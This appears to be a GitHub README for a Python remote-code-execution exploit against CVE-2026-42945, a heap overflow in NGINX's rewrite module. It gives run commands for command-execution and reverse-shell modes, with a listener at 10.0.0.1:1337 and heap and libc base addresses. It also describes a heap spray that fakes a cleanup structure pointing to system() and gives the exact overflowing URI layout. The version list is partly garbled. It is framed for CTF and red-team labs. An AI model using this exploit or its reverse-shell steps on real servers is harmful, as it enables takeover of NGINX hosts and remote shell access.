sec-sys/cve-2026-42945-reverse-shell-pocPython RCE PoC with reverse-shell listener for CVE-2026-42945 (NGINX Rift)
Remote code execution proof-of-concept for CVE-2026-42945, a heap buffer overflow in NGINX's ngx_http_rewrite_module. This fork extends the public trigger PoC with an embedded reverse-shell listener and configurable exploitation parameters for CTF and isolated lab environments.
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / ; NGINX Plus , , 1.31.0R36 P4R35 P2R32 P6is_args = 0, while the copy pass runs on the main engine with is_args = 1, invoking ngx_escape_uri(..., NGX_ESCAPE_ARGS). Escapable bytes expand to 3 bytes each, overflowing an undersized heap buffer with attacker-controlled URI data.rewrite/set configuration using unnamed PCRE captures ($1, $2) plus ? in the replacement string; disabled ASLR or known heap/libc base addresses; ability to spray the heap via POST bodies.| File | Description |
|---|---|
cve_2026_42945_rce_poc.py | Python exploit with built-in reverse-shell listener and command execution modes. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s structure: system@libc | pointer to command | null. These bodies occupy stable heap locations.rewrite endpoint. The URI pattern is:
/api/<349 x 'A'><969 x '+'><6-byte heap address>
cleanup pointer of an adjacent ngx_pool_t.cleanup pointer invokes system(command), executing the attacker-controlled command inside the NGINX worker process.--shell is used, the command is a reverse-shell payload and the embedded listener catches the incoming connection.This tool is intended for:
Do not use on systems you do not own or have explicit permission to test.
Use at your own risk. The author is not responsible for unauthorized or illegal use.
Original vulnerability research and PoC by depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). This Python reverse-shell fork was created for red-team lab / CTF use.